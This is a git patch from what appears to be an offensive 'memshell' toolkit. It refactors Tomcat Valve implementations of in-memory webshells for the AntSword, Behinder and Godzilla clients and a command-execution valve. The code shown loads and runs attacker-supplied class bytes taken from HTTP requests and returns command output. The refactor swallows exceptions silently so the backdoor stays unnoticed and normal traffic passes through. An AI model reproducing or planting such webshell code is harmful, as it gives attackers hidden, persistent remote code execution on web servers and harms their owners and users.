From 1f158158f600e3fc1ffdc7496d54da7ec338a7e2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 28 Feb 2025 22:36:25 +0800 Subject: [PATCH] refactor: simplify valve shell code --- .../memshell/shelltool/antsword/AntSwordValve.java | 8 +++----- .../memshell/shelltool/behinder/BehinderValve.java | 8 +++----- .../javaweb/memshell/shelltool/command/CommandValve.java | 7 +++---- .../memshell/shelltool/godzilla/GodzillaValve.java | 8 +++----- 4 files changed, 12 insertions(+), 19 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java index d4bbbd58..74f121b5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java @@ -77,12 +77,10 @@ public class AntSwordValve extends ClassLoader implements Valve { byte[] bytes = base64Decode(request.getParameter(pass)); Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index 722ab4c5..4f884242 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -92,13 +92,11 @@ public class BehinderValve extends ClassLoader implements Valve { byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance(); instance.equals(obj); - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } public HttpServletResponse getInternalResponse(HttpServletResponse response) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index 2f13167e..8c97e555 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -52,11 +52,10 @@ public class CommandValve implements Valve { while ((length = inputStream.read(buf)) != -1) { outputStream.write(buf, 0, length); } - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 5006a0d8..5a626b88 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -125,12 +125,10 @@ public class GodzillaValve extends ClassLoader implements Valve { response.getWriter().write(md5.substring(16)); response.flushBuffer(); } - } else { - this.getNext().invoke(request, response); + return; } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); + } catch (Exception ignored) { } + this.getNext().invoke(request, response); } } \ No newline at end of file